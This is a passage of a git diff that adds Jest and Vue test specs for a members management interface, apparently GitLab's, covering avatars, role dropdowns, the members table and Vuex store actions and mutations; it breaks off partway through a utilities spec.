index 00000000000..98177893c18
--- /dev/null
+++ b/spec/frontend/members/components/table/member_avatar_spec.js
@@ -0,0 +1,39 @@
+import { shallowMount } from '@vue/test-utils';
+import { MEMBER_TYPES } from '~/members/constants';
+import { member as memberMock, group, invite, accessRequest } from '../../mock_data';
+import MemberAvatar from '~/members/components/table/member_avatar.vue';
+import UserAvatar from '~/members/components/avatars/user_avatar.vue';
+import GroupAvatar from '~/members/components/avatars/group_avatar.vue';
+import InviteAvatar from '~/members/components/avatars/invite_avatar.vue';
+
+describe('MemberList', () => {
+ let wrapper;
+
+ const createComponent = propsData => {
+ wrapper = shallowMount(MemberAvatar, {
+ propsData: {
+ isCurrentUser: false,
+ ...propsData,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ test.each`
+ memberType | member | expectedComponent | expectedComponentName
+ ${MEMBER_TYPES.user} | ${memberMock} | ${UserAvatar} | ${'UserAvatar'}
+ ${MEMBER_TYPES.group} | ${group} | ${GroupAvatar} | ${'GroupAvatar'}
+ ${MEMBER_TYPES.invite} | ${invite} | ${InviteAvatar} | ${'InviteAvatar'}
+ ${MEMBER_TYPES.accessRequest} | ${accessRequest} | ${UserAvatar} | ${'UserAvatar'}
+ `(
+ 'renders $expectedComponentName when `memberType` is $memberType',
+ ({ memberType, member, expectedComponent }) => {
+ createComponent({ memberType, member });
+
+ expect(wrapper.find(expectedComponent).exists()).toBe(true);
+ },
+ );
+});
diff --git a/spec/frontend/members/components/table/member_source_spec.js b/spec/frontend/members/components/table/member_source_spec.js
new file mode 100644
index 00000000000..48ac06f32f6
--- /dev/null
+++ b/spec/frontend/members/components/table/member_source_spec.js
@@ -0,0 +1,71 @@
+import { mount, createWrapper } from '@vue/test-utils';
+import { getByText as getByTextHelper } from '@testing-library/dom';
+import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
+import MemberSource from '~/members/components/table/member_source.vue';
+
+describe('MemberSource', () => {
+ let wrapper;
+
+ const createComponent = propsData => {
+ wrapper = mount(MemberSource, {
+ propsData: {
+ memberSource: {
+ id: 102,
+ name: 'Foo bar',
+ webUrl: 'https://gitlab.com/groups/foo-bar',
+ },
+ ...propsData,
+ },
+ directives: {
+ GlTooltip: createMockDirective(),
+ },
+ });
+ };
+
+ const getByText = (text, options) =>
+ createWrapper(getByTextHelper(wrapper.element, text, options));
+
+ const getTooltipDirective = elementWrapper => getBinding(elementWrapper.element, 'gl-tooltip');
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('direct member', () => {
+ it('displays "Direct member"', () => {
+ createComponent({
+ isDirectMember: true,
+ });
+
+ expect(getByText('Direct member').exists()).toBe(true);
+ });
+ });
+
+ describe('inherited member', () => {
+ let sourceGroupLink;
+
+ beforeEach(() => {
+ createComponent({
+ isDirectMember: false,
+ });
+
+ sourceGroupLink = getByText('Foo bar');
+ });
+
+ it('displays a link to source group', () => {
+ createComponent({
+ isDirectMember: false,
+ });
+
+ expect(sourceGroupLink.exists()).toBe(true);
+ expect(sourceGroupLink.attributes('href')).toBe('https://gitlab.com/groups/foo-bar');
+ });
+
+ it('displays tooltip with "Inherited"', () => {
+ const tooltipDirective = getTooltipDirective(sourceGroupLink);
+
+ expect(tooltipDirective).not.toBeUndefined();
+ expect(sourceGroupLink.attributes('title')).toBe('Inherited');
+ });
+ });
+});
diff --git a/spec/frontend/members/components/table/members_table_cell_spec.js b/spec/frontend/members/components/table/members_table_cell_spec.js
new file mode 100644
index 00000000000..117c9255c00
--- /dev/null
+++ b/spec/frontend/members/components/table/members_table_cell_spec.js
@@ -0,0 +1,251 @@
+import { mount, createLocalVue } from '@vue/test-utils';
+import Vuex from 'vuex';
+import { MEMBER_TYPES } from '~/members/constants';
+import { member as memberMock, group, invite, accessRequest } from '../../mock_data';
+import MembersTableCell from '~/members/components/table/members_table_cell.vue';
+
+describe('MembersTableCell', () => {
+ const WrappedComponent = {
+ props: {
+ memberType: {
+ type: String,
+ required: true,
+ },
+ isDirectMember: {
+ type: Boolean,
+ required: true,
+ },
+ isCurrentUser: {
+ type: Boolean,
+ required: true,
+ },
+ permissions: {
+ type: Object,
+ required: true,
+ },
+ },
+ render(createElement) {
+ return createElement('div', this.memberType);
+ },
+ };
+
+ const localVue = createLocalVue();
+ localVue.use(Vuex);
+ localVue.component('wrapped-component', WrappedComponent);
+
+ const createStore = (state = {}) => {
+ return new Vuex.Store({
+ state: {
+ sourceId: 1,
+ currentUserId: 1,
+ ...state,
+ },
+ });
+ };
+
+ let wrapper;
+
+ const createComponent = (propsData, state = {}) => {
+ wrapper = mount(MembersTableCell, {
+ localVue,
+ propsData,
+ store: createStore(state),
+ scopedSlots: {
+ default: `
+ <wrapped-component
+ :member-type="props.memberType"
+ :is-direct-member="props.isDirectMember"
+ :is-current-user="props.isCurrentUser"
+ :permissions="props.permissions"
+ />
+ `,
+ },
+ });
+ };
+
+ const findWrappedComponent = () => wrapper.find(WrappedComponent);
+
+ const memberCurrentUser = {
+ ...memberMock,
+ user: {
+ ...memberMock.user,
+ id: 1,
+ },
+ };
+
+ const createComponentWithDirectMember = (member = {}) => {
+ createComponent({
+ member: {
+ ...memberMock,
+ source: {
+ ...memberMock.source,
+ id: 1,
+ },
+ ...member,
+ },
+ });
+ };
+ const createComponentWithInheritedMember = (member = {}) => {
+ createComponent({
+ member: { ...memberMock, ...member },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ test.each`
+ member | expectedMemberType
+ ${memberMock} | ${MEMBER_TYPES.user}
+ ${group} | ${MEMBER_TYPES.group}
+ ${invite} | ${MEMBER_TYPES.invite}
+ ${accessRequest} | ${MEMBER_TYPES.accessRequest}
+ `(
+ 'sets scoped slot prop `memberType` to $expectedMemberType',
+ ({ member, expectedMemberType }) => {
+ createComponent({ member });
+
+ expect(findWrappedComponent().props('memberType')).toBe(expectedMemberType);
+ },
+ );
+
+ describe('isDirectMember', () => {
+ it('returns `true` when member source has same ID as `sourceId`', () => {
+ createComponentWithDirectMember();
+
+ expect(findWrappedComponent().props('isDirectMember')).toBe(true);
+ });
+
+ it('returns `false` when member is inherited', () => {
+ createComponentWithInheritedMember();
+
+ expect(findWrappedComponent().props('isDirectMember')).toBe(false);
+ });
+
+ it('returns `true` for linked groups', () => {
+ createComponent({
+ member: group,
+ });
+
+ expect(findWrappedComponent().props('isDirectMember')).toBe(true);
+ });
+ });
+
+ describe('isCurrentUser', () => {
+ it('returns `true` when `member.user` has the same ID as `currentUserId`', () => {
+ createComponent({
+ member: memberCurrentUser,
+ });
+
+ expect(findWrappedComponent().props('isCurrentUser')).toBe(true);
+ });
+
+ it('returns `false` when `member.user` does not have the same ID as `currentUserId`', () => {
+ createComponent({
+ member: memberMock,
+ });
+
+ expect(findWrappedComponent().props('isCurrentUser')).toBe(false);
+ });
+ });
+
+ describe('permissions', () => {
+ describe('canRemove', () => {
+ describe('for a direct member', () => {
+ it('returns `true` when `canRemove` is `true`', () => {
+ createComponentWithDirectMember({
+ canRemove: true,
+ });
+
+ expect(findWrappedComponent().props('permissions').canRemove).toBe(true);
+ });
+
+ it('returns `false` when `canRemove` is `false`', () => {
+ createComponentWithDirectMember({
+ canRemove: false,
+ });
+
+ expect(findWrappedComponent().props('permissions').canRemove).toBe(false);
+ });
+ });
+
+ describe('for an inherited member', () => {
+ it('returns `false`', () => {
+ createComponentWithInheritedMember();
+
+ expect(findWrappedComponent().props('permissions').canRemove).toBe(false);
+ });
+ });
+ });
+
+ describe('canResend', () => {
+ describe('when member type is `invite`', () => {
+ it('returns `true` when `canResend` is `true`', () => {
+ createComponent({
+ member: invite,
+ });
+
+ expect(findWrappedComponent().props('permissions').canResend).toBe(true);
+ });
+
+ it('returns `false` when `canResend` is `false`', () => {
+ createComponent({
+ member: {
+ ...invite,
+ invite: {
+ ...invite,
+ canResend: false,
+ },
+ },
+ });
+
+ expect(findWrappedComponent().props('permissions').canResend).toBe(false);
+ });
+ });
+
+ describe('when member type is not `invite`', () => {
+ it('returns `false`', () => {
+ createComponent({ member: memberMock });
+
+ expect(findWrappedComponent().props('permissions').canResend).toBe(false);
+ });
+ });
+ });
+
+ describe('canUpdate', () => {
+ describe('for a direct member', () => {
+ it('returns `true` when `canUpdate` is `true`', () => {
+ createComponentWithDirectMember({
+ canUpdate: true,
+ });
+
+ expect(findWrappedComponent().props('permissions').canUpdate).toBe(true);
+ });
+
+ it('returns `false` when `canUpdate` is `false`', () => {
+ createComponentWithDirectMember({
+ canUpdate: false,
+ });
+
+ expect(findWrappedComponent().props('permissions').canUpdate).toBe(false);
+ });
+
+ it('returns `false` for current user', () => {
+ createComponentWithDirectMember(memberCurrentUser);
+
+ expect(findWrappedComponent().props('permissions').canUpdate).toBe(false);
+ });
+ });
+
+ describe('for an inherited member', () => {
+ it('returns `false`', () => {
+ createComponentWithInheritedMember();
+
+ expect(findWrappedComponent().props('permissions').canUpdate).toBe(false);
+ });
+ });
+ });
+ });
+});
diff --git a/spec/frontend/members/components/table/members_table_spec.js b/spec/frontend/members/components/table/members_table_spec.js
new file mode 100644
index 00000000000..9945cc7ee57
--- /dev/null
+++ b/spec/frontend/members/components/table/members_table_spec.js
@@ -0,0 +1,212 @@
+import { mount, createLocalVue, createWrapper } from '@vue/test-utils';
+import Vuex from 'vuex';
+import {
+ getByText as getByTextHelper,
+ getByTestId as getByTestIdHelper,
+ within,
+} from '@testing-library/dom';
+import { GlBadge, GlTable } from '@gitlab/ui';
+import MembersTable from '~/members/components/table/members_table.vue';
+import MemberAvatar from '~/members/components/table/member_avatar.vue';
+import MemberSource from '~/members/components/table/member_source.vue';
+import ExpiresAt from '~/members/components/table/expires_at.vue';
+import CreatedAt from '~/members/components/table/created_at.vue';
+import RoleDropdown from '~/members/components/table/role_dropdown.vue';
+import ExpirationDatepicker from '~/members/components/table/expiration_datepicker.vue';
+import MemberActionButtons from '~/members/components/table/member_action_buttons.vue';
+import * as initUserPopovers from '~/user_popovers';
+import { member as memberMock, invite, accessRequest } from '../../mock_data';
+
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
+describe('MembersTable', () => {
+ let wrapper;
+
+ const createStore = (state = {}) => {
+ return new Vuex.Store({
+ state: {
+ members: [],
+ tableFields: [],
+ tableAttrs: {
+ table: { 'data-qa-selector': 'members_list' },
+ tr: { 'data-qa-selector': 'member_row' },
+ },
+ sourceId: 1,
+ currentUserId: 1,
+ ...state,
+ },
+ });
+ };
+
+ const createComponent = state => {
+ wrapper = mount(MembersTable, {
+ localVue,
+ store: createStore(state),
+ stubs: [
+ 'member-avatar',
+ 'member-source',
+ 'expires-at',
+ 'created-at',
+ 'member-action-buttons',
+ 'role-dropdown',
+ 'remove-group-link-modal',
+ 'expiration-datepicker',
+ ],
+ });
+ };
+
+ const getByText = (text, options) =>
+ createWrapper(getByTextHelper(wrapper.element, text, options));
+
+ const getByTestId = (id, options) =>
+ createWrapper(getByTestIdHelper(wrapper.element, id, options));
+
+ const findTable = () => wrapper.find(GlTable);
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('fields', () => {
+ const directMember = {
+ ...memberMock,
+ source: { ...memberMock.source, id: 1 },
+ };
+
+ const memberCanUpdate = {
+ ...directMember,
+ canUpdate: true,
+ };
+
+ it.each`
+ field | label | member | expectedComponent
+ ${'account'} | ${'Account'} | ${memberMock} | ${MemberAvatar}
+ ${'source'} | ${'Source'} | ${memberMock} | ${MemberSource}
+ ${'granted'} | ${'Access granted'} | ${memberMock} | ${CreatedAt}
+ ${'invited'} | ${'Invited'} | ${invite} | ${CreatedAt}
+ ${'requested'} | ${'Requested'} | ${accessRequest} | ${CreatedAt}
+ ${'expires'} | ${'Access expires'} | ${memberMock} | ${ExpiresAt}
+ ${'maxRole'} | ${'Max role'} | ${memberCanUpdate} | ${RoleDropdown}
+ ${'expiration'} | ${'Expiration'} | ${memberMock} | ${ExpirationDatepicker}
+ `('renders the $label field', ({ field, label, member, expectedComponent }) => {
+ createComponent({
+ members: [member],
+ tableFields: [field],
+ });
+
+ expect(getByText(label, { selector: '[role="columnheader"]' }).exists()).toBe(true);
+
+ if (expectedComponent) {
+ expect(
+ wrapper
+ .find(`[data-label="${label}"][role="cell"]`)
+ .find(expectedComponent)
+ .exists(),
+ ).toBe(true);
+ }
+ });
+
+ describe('"Actions" field', () => {
+ it('renders "Actions" field for screen readers', () => {
+ createComponent({ members: [memberCanUpdate], tableFields: ['actions'] });
+
+ const actionField = getByTestId('col-actions');
+
+ expect(actionField.exists()).toBe(true);
+ expect(actionField.classes('gl-sr-only')).toBe(true);
+ expect(
+ wrapper
+ .find(`[data-label="Actions"][role="cell"]`)
+ .find(MemberActionButtons)
+ .exists(),
+ ).toBe(true);
+ });
+
+ describe('when user is not logged in', () => {
+ it('does not render the "Actions" field', () => {
+ createComponent({ currentUserId: null, tableFields: ['actions'] });
+
+ expect(within(wrapper.element).queryByTestId('col-actions')).toBe(null);
+ });
+ });
+
+ const memberCanRemove = {
+ ...directMember,
+ canRemove: true,
+ };
+
+ describe.each`
+ permission | members
+ ${'canUpdate'} | ${[memberCanUpdate]}
+ ${'canRemove'} | ${[memberCanRemove]}
+ ${'canResend'} | ${[invite]}
+ `('when one of the members has $permission permissions', ({ members }) => {
+ it('renders the "Actions" field', () => {
+ createComponent({ members, tableFields: ['actions'] });
+
+ expect(getByTestId('col-actions').exists()).toBe(true);
+ });
+ });
+
+ describe.each`
+ permission | members
+ ${'canUpdate'} | ${[memberMock]}
+ ${'canRemove'} | ${[memberMock]}
+ ${'canResend'} | ${[{ ...invite, invite: { ...invite.invite, canResend: false } }]}
+ `('when none of the members have $permission permissions', ({ members }) => {
+ it('does not render the "Actions" field', () => {
+ createComponent({ members, tableFields: ['actions'] });
+
+ expect(within(wrapper.element).queryByTestId('col-actions')).toBe(null);
+ });
+ });
+ });
+ });
+
+ describe('when `members` is an empty array', () => {
+ it('displays a "No members found" message', () => {
+ createComponent();
+
+ expect(getByText('No members found').exists()).toBe(true);
+ });
+ });
+
+ describe('when member can not be updated', () => {
+ it('renders badge in "Max role" field', () => {
+ createComponent({ members: [memberMock], tableFields: ['maxRole'] });
+
+ expect(
+ wrapper
+ .find(`[data-label="Max role"][role="cell"]`)
+ .find(GlBadge)
+ .text(),
+ ).toBe(memberMock.accessLevel.stringValue);
+ });
+ });
+
+ it('initializes user popovers when mounted', () => {
+ const initUserPopoversMock = jest.spyOn(initUserPopovers, 'default');
+
+ createComponent();
+
+ expect(initUserPopoversMock).toHaveBeenCalled();
+ });
+
+ it('adds QA selector to table', () => {
+ createComponent();
+
+ expect(findTable().attributes('data-qa-selector')).toBe('members_list');
+ });
+
+ it('adds QA selector to table row', () => {
+ createComponent();
+
+ expect(
+ findTable()
+ .find('tbody tr')
+ .attributes('data-qa-selector'),
+ ).toBe('member_row');
+ });
+});
diff --git a/spec/frontend/members/components/table/role_dropdown_spec.js b/spec/frontend/members/components/table/role_dropdown_spec.js
new file mode 100644
index 00000000000..6c6abf35bd7
--- /dev/null
+++ b/spec/frontend/members/components/table/role_dropdown_spec.js
@@ -0,0 +1,151 @@
+import { mount, createWrapper, createLocalVue } from '@vue/test-utils';
+import Vuex from 'vuex';
+import { nextTick } from 'vue';
+import { within } from '@testing-library/dom';
+import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
+import { GlBreakpointInstance as bp } from '@gitlab/ui/dist/utils';
+import waitForPromises from 'helpers/wait_for_promises';
+import RoleDropdown from '~/members/components/table/role_dropdown.vue';
+import { member } from '../../mock_data';
+
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
+describe('RoleDropdown', () => {
+ let wrapper;
+ let actions;
+ const $toast = {
+ show: jest.fn(),
+ };
+
+ const createStore = () => {
+ actions = {
+ updateMemberRole: jest.fn(() => Promise.resolve()),
+ };
+
+ return new Vuex.Store({ actions });
+ };
+
+ const createComponent = (propsData = {}) => {
+ wrapper = mount(RoleDropdown, {
+ propsData: {
+ member,
+ permissions: {},
+ ...propsData,
+ },
+ localVue,
+ store: createStore(),
+ mocks: {
+ $toast,
+ },
+ });
+ };
+
+ const getDropdownMenu = () => within(wrapper.element).getByRole('menu');
+ const getByTextInDropdownMenu = (text, options = {}) =>
+ createWrapper(within(getDropdownMenu()).getByText(text, options));
+ const getDropdownItemByText = text =>
+ createWrapper(
+ within(getDropdownMenu())
+ .getByText(text, { selector: '[role="menuitem"] p' })
+ .closest('[role="menuitem"]'),
+ );
+ const getCheckedDropdownItem = () =>
+ wrapper
+ .findAll(GlDropdownItem)
+ .wrappers.find(dropdownItemWrapper => dropdownItemWrapper.props('isChecked'));
+
+ const findDropdownToggle = () => wrapper.find('button[aria-haspopup="true"]');
+ const findDropdown = () => wrapper.find(GlDropdown);
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('when dropdown is open', () => {
+ beforeEach(done => {
+ createComponent();
+
+ findDropdownToggle().trigger('click');
+ wrapper.vm.$root.$on('bv::dropdown::shown', () => {
+ done();
+ });
+ });
+
+ it('renders all valid roles', () => {
+ Object.keys(member.validRoles).forEach(role => {
+ expect(getDropdownItemByText(role).exists()).toBe(true);
+ });
+ });
+
+ it('renders dropdown header', () => {
+ expect(getByTextInDropdownMenu('Change permissions').exists()).toBe(true);
+ });
+
+ it('sets dropdown toggle and checks selected role', () => {
+ expect(findDropdownToggle().text()).toBe('Owner');
+ expect(getCheckedDropdownItem().text()).toBe('Owner');
+ });
+
+ describe('when dropdown item is selected', () => {
+ it('does nothing if the item selected was already selected', () => {
+ getDropdownItemByText('Owner').trigger('click');
+
+ expect(actions.updateMemberRole).not.toHaveBeenCalled();
+ });
+
+ it('calls `updateMemberRole` Vuex action', () => {
+ getDropdownItemByText('Developer').trigger('click');
+
+ expect(actions.updateMemberRole).toHaveBeenCalledWith(expect.any(Object), {
+ memberId: member.id,
+ accessLevel: { integerValue: 30, stringValue: 'Developer' },
+ });
+ });
+
+ it('displays toast when successful', async () => {
+ getDropdownItemByText('Developer').trigger('click');
+
+ await waitForPromises();
+
+ expect($toast.show).toHaveBeenCalledWith('Role updated successfully.');
+ });
+
+ it('disables dropdown while waiting for `updateMemberRole` to resolve', async () => {
+ getDropdownItemByText('Developer').trigger('click');
+
+ await nextTick();
+
+ expect(findDropdown().props('disabled')).toBe(true);
+
+ await waitForPromises();
+
+ expect(findDropdown().props('disabled')).toBe(false);
+ });
+ });
+ });
+
+ it("sets initial dropdown toggle value to member's role", () => {
+ createComponent();
+
+ expect(findDropdownToggle().text()).toBe('Owner');
+ });
+
+ it('sets the dropdown alignment to right on mobile', async () => {
+ jest.spyOn(bp, 'isDesktop').mockReturnValue(false);
+ createComponent();
+
+ await nextTick();
+
+ expect(findDropdown().props('right')).toBe(true);
+ });
+
+ it('sets the dropdown alignment to left on desktop', async () => {
+ jest.spyOn(bp, 'isDesktop').mockReturnValue(true);
+ createComponent();
+
+ await nextTick();
+
+ expect(findDropdown().props('right')).toBe(false);
+ });
+});
diff --git a/spec/frontend/vue_shared/components/members/mock_data.js b/spec/frontend/members/mock_data.js
index 5674929716d..5674929716d 100644
--- a/spec/frontend/vue_shared/components/members/mock_data.js
+++ b/spec/frontend/members/mock_data.js
diff --git a/spec/frontend/members/store/actions_spec.js b/spec/frontend/members/store/actions_spec.js
new file mode 100644
index 00000000000..5424fee0750
--- /dev/null
+++ b/spec/frontend/members/store/actions_spec.js
@@ -0,0 +1,152 @@
+import { noop } from 'lodash';
+import axios from 'axios';
+import MockAdapter from 'axios-mock-adapter';
+import { members, group } from 'jest/members/mock_data';
+import testAction from 'helpers/vuex_action_helper';
+import { useFakeDate } from 'helpers/fake_date';
+import httpStatusCodes from '~/lib/utils/http_status';
+import * as types from '~/members/store/mutation_types';
+import {
+ updateMemberRole,
+ showRemoveGroupLinkModal,
+ hideRemoveGroupLinkModal,
+ updateMemberExpiration,
+} from '~/members/store/actions';
+
+describe('Vuex members actions', () => {
+ describe('update member actions', () => {
+ let mock;
+
+ const state = {
+ members,
+ memberPath: '/groups/foo-bar/-/group_members/:id',
+ requestFormatter: noop,
+ };
+
+ beforeEach(() => {
+ mock = new MockAdapter(axios);
+ });
+
+ afterEach(() => {
+ mock.restore();
+ });
+
+ describe('updateMemberRole', () => {
+ const memberId = members[0].id;
+ const accessLevel = { integerValue: 30, stringValue: 'Developer' };
+
+ const payload = {
+ memberId,
+ accessLevel,
+ };
+
+ describe('successful request', () => {
+ it(`commits ${types.RECEIVE_MEMBER_ROLE_SUCCESS} mutation`, async () => {
+ mock.onPut().replyOnce(httpStatusCodes.OK);
+
+ await testAction(updateMemberRole, payload, state, [
+ {
+ type: types.RECEIVE_MEMBER_ROLE_SUCCESS,
+ payload,
+ },
+ ]);
+
+ expect(mock.history.put[0].url).toBe('/groups/foo-bar/-/group_members/238');
+ });
+ });
+
+ describe('unsuccessful request', () => {
+ it(`commits ${types.RECEIVE_MEMBER_ROLE_ERROR} mutation and throws error`, async () => {
+ mock.onPut().networkError();
+
+ await expect(
+ testAction(updateMemberRole, payload, state, [
+ {
+ type: types.RECEIVE_MEMBER_ROLE_ERROR,
+ },
+ ]),
+ ).rejects.toThrowError(new Error('Network Error'));
+ });
+ });
+ });
+
+ describe('updateMemberExpiration', () => {
+ useFakeDate(2020, 2, 15, 3);
+
+ const memberId = members[0].id;
+ const expiresAt = '2020-3-17';
+
+ describe('successful request', () => {
+ describe('changing expiration date', () => {
+ it(`commits ${types.RECEIVE_MEMBER_EXPIRATION_SUCCESS} mutation`, async () => {
+ mock.onPut().replyOnce(httpStatusCodes.OK);
+
+ await testAction(updateMemberExpiration, { memberId, expiresAt }, state, [
+ {
+ type: types.RECEIVE_MEMBER_EXPIRATION_SUCCESS,
+ payload: { memberId, expiresAt: '2020-03-17T00:00:00Z' },
+ },
+ ]);
+
+ expect(mock.history.put[0].url).toBe('/groups/foo-bar/-/group_members/238');
+ });
+ });
+
+ describe('removing the expiration date', () => {
+ it(`commits ${types.RECEIVE_MEMBER_EXPIRATION_SUCCESS} mutation`, async () => {
+ mock.onPut().replyOnce(httpStatusCodes.OK);
+
+ await testAction(updateMemberExpiration, { memberId, expiresAt: null }, state, [
+ {
+ type: types.RECEIVE_MEMBER_EXPIRATION_SUCCESS,
+ payload: { memberId, expiresAt: null },
+ },
+ ]);
+ });
+ });
+ });
+
+ describe('unsuccessful request', () => {
+ it(`commits ${types.RECEIVE_MEMBER_EXPIRATION_ERROR} mutation and throws error`, async () => {
+ mock.onPut().networkError();
+
+ await expect(
+ testAction(updateMemberExpiration, { memberId, expiresAt }, state, [
+ {
+ type: types.RECEIVE_MEMBER_EXPIRATION_ERROR,
+ },
+ ]),
+ ).rejects.toThrowError(new Error('Network Error'));
+ });
+ });
+ });
+ });
+
+ describe('Group Link Modal', () => {
+ const state = {
+ removeGroupLinkModalVisible: false,
+ groupLinkToRemove: null,
+ };
+
+ describe('showRemoveGroupLinkModal', () => {
+ it(`commits ${types.SHOW_REMOVE_GROUP_LINK_MODAL} mutation`, () => {
+ testAction(showRemoveGroupLinkModal, group, state, [
+ {
+ type: types.SHOW_REMOVE_GROUP_LINK_MODAL,
+ payload: group,
+ },
+ ]);
+ });
+ });
+
+ describe('hideRemoveGroupLinkModal', () => {
+ it(`commits ${types.HIDE_REMOVE_GROUP_LINK_MODAL} mutation`, () => {
+ testAction(hideRemoveGroupLinkModal, group, state, [
+ {
+ type: types.HIDE_REMOVE_GROUP_LINK_MODAL,
+ },
+ ]);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/members/store/mutations_spec.js b/spec/frontend/members/store/mutations_spec.js
new file mode 100644
index 00000000000..488bfdf15fd
--- /dev/null
+++ b/spec/frontend/members/store/mutations_spec.js
@@ -0,0 +1,117 @@
+import { members, group } from 'jest/members/mock_data';
+import mutations from '~/members/store/mutations';
+import * as types from '~/members/store/mutation_types';
+
+describe('Vuex members mutations', () => {
+ describe('update member mutations', () => {
+ let state;
+
+ beforeEach(() => {
+ state = {
+ members,
+ showError: false,
+ errorMessage: '',
+ };
+ });
+
+ describe(types.RECEIVE_MEMBER_ROLE_SUCCESS, () => {
+ it('updates member', () => {
+ const accessLevel = { integerValue: 30, stringValue: 'Developer' };
+
+ mutations[types.RECEIVE_MEMBER_ROLE_SUCCESS](state, {
+ memberId: members[0].id,
+ accessLevel,
+ });
+
+ expect(state.members[0].accessLevel).toEqual(accessLevel);
+ });
+ });
+
+ describe(types.RECEIVE_MEMBER_ROLE_ERROR, () => {
+ it('shows error message', () => {
+ mutations[types.RECEIVE_MEMBER_ROLE_ERROR](state);
+
+ expect(state.showError).toBe(true);
+ expect(state.errorMessage).toBe(
+ "An error occurred while updating the member's role, please try again.",
+ );
+ });
+ });
+
+ describe(types.RECEIVE_MEMBER_EXPIRATION_SUCCESS, () => {
+ it('updates member', () => {
+ const expiresAt = '2020-03-17T00:00:00Z';
+
+ mutations[types.RECEIVE_MEMBER_EXPIRATION_SUCCESS](state, {
+ memberId: members[0].id,
+ expiresAt,
+ });
+
+ expect(state.members[0].expiresAt).toEqual(expiresAt);
+ });
+ });
+
+ describe(types.RECEIVE_MEMBER_EXPIRATION_ERROR, () => {
+ it('shows error message', () => {
+ mutations[types.RECEIVE_MEMBER_EXPIRATION_ERROR](state);
+
+ expect(state.showError).toBe(true);
+ expect(state.errorMessage).toBe(
+ "An error occurred while updating the member's expiration date, please try again.",
+ );
+ });
+ });
+ });
+
+ describe(types.HIDE_ERROR, () => {
+ it('sets `showError` to `false`', () => {
+ const state = {
+ showError: true,
+ errorMessage: 'foo bar',
+ };
+
+ mutations[types.HIDE_ERROR](state);
+
+ expect(state.showError).toBe(false);
+ });
+
+ it('sets `errorMessage` to an empty string', () => {
+ const state = {
+ showError: true,
+ errorMessage: 'foo bar',
+ };
+
+ mutations[types.HIDE_ERROR](state);
+
+ expect(state.errorMessage).toBe('');
+ });
+ });
+
+ describe(types.SHOW_REMOVE_GROUP_LINK_MODAL, () => {
+ it('sets `removeGroupLinkModalVisible` and `groupLinkToRemove`', () => {
+ const state = {
+ removeGroupLinkModalVisible: false,
+ groupLinkToRemove: null,
+ };
+
+ mutations[types.SHOW_REMOVE_GROUP_LINK_MODAL](state, group);
+
+ expect(state).toEqual({
+ removeGroupLinkModalVisible: true,
+ groupLinkToRemove: group,
+ });
+ });
+ });
+
+ describe(types.HIDE_REMOVE_GROUP_LINK_MODAL, () => {
+ it('sets `removeGroupLinkModalVisible` to `false`', () => {
+ const state = {
+ removeGroupLinkModalVisible: false,
+ };
+
+ mutations[types.HIDE_REMOVE_GROUP_LINK_MODAL](state);
+
+ expect(state.removeGroupLinkModalVisible).toBe(false);
+ });
+ });
+});
diff --git a/spec/frontend/members/store/utils_spec.js b/spec/frontend/members/store/utils_spec.js
new file mode 100644
index 00000000000..e3cde38269c
--- /dev/null
+++ b/spec/frontend/members/store/utils_spec.js
@@ -0,0 +1,14 @@
+import { members } from 'jest/members/mock_data';
+import { findMember } from '~/members/store/utils';
+
+describe('Members Vuex utils', () => {
+ describe('findMember', () => {
+ it('finds member by ID', () => {
+ const state = {
+ members,
+ };
+
+ expect(findMember(state, members[0].id)).toEqual(members[0]);
+ });
+ });
+});
diff --git a/spec/frontend/members/utils_spec.js b/spec/frontend/members/utils_spec.js
new file mode 100644
index 00000000000..7bbfddf8fc6
--- /dev/null
+++ b/spec/frontend/members/utils_spec.js
@@ -0,0 +1,232 @@
+import {
+ generateBadges,
+ isGroup,
+ isDirectMember,
+ isCurrentUser,
+ canRemove,
+ canResend,
+ canUpdate,
+ canOverride,
+ parseSortParam,
+ buildSortHref,
+} from '~/members/utils';
+import { DEFAULT_SORT } from '~/members/constants';
+import { member as memberMock, group, invite } from './mock_data';
+
+const DIRECT_MEMBER_ID = 178;
+const INHERITED_MEMBER_ID = 179;
+const IS_CURRENT_USER_ID = 123;
+const IS_NOT_CURRENT_USER_ID = 124;
+const URL_HOST = 'https://localhost/';
+
+describe('Members Utils', () => {
+ describe('generateBadges', () => {
+ it('has correct properties for each badge', () => {
+ const badges = generateBadges(memberMock, true);
+
+ badges.forEach(badge => {
+ expect(badge).toEqual(
+ expect.objectContaining({
+ show: expect.any(Boolean),
+ text: expect.any(String),
+ variant: expect.stringMatching(/muted|neutral|info|success|danger|warning/),
+ }),
+ );
+ });
+ });
+
+ it.each`
+ member | expected
+ ${memberMock} | ${{ show: true, text: "It's you", variant: 'success' }}
+ ${{ ...memberMock, user: { ...memberMock.user, blocked: true } }} | ${{ show: true, text: 'Blocked', variant: 'danger' }}
+ ${{ ...memberMock, user: { ...memberMock.user, twoFactorEnabled: true } }} | ${{ show: true, text: '2FA', variant: 'info' }}
+ `('returns expected output for "$expected.text" badge', ({ member, expected }) => {
+ expect(generateBadges(member, true)).toContainEqual(expect.objectContaining(expected));
+ });
+ });
+
+ describe('isGroup', () => {
+ test.each`
+ member | expected
+ ${group} | ${true}
+ ${memberMock} | ${false}
+ `('returns $expected', ({ member, expected }) => {
+ expect(isGroup(member)).toBe(expected);
+ });
+ });
+
+ describe('isDirectMember', () => {
+ test.each`
+ sourceId | expected
+ ${DIRECT_MEMBER_ID} | ${true}
+ ${INHERITED_MEMBER_ID} | ${false}
+ `('returns $expected', ({ sourceId, expected }) => {
+ expect(isDirectMember(memberMock, sourceId)).toBe(expected);
+ });
+ });
+
+ describe('isCurrentUser', () => {
+ test.each`
+ currentUserId | expected
+ ${IS_CURRENT_USER_ID} | ${true}
+ ${IS_NOT_CURRENT_USER_ID} | ${false}
+ `('returns $expected', ({ currentUserId, expected }) => {
+ expect(isCurrentUser(memberMock, currentUserId)).toBe(expected);
+ });
+ });
+
+ describe('canRemove', () => {
+ const memberCanRemove = {
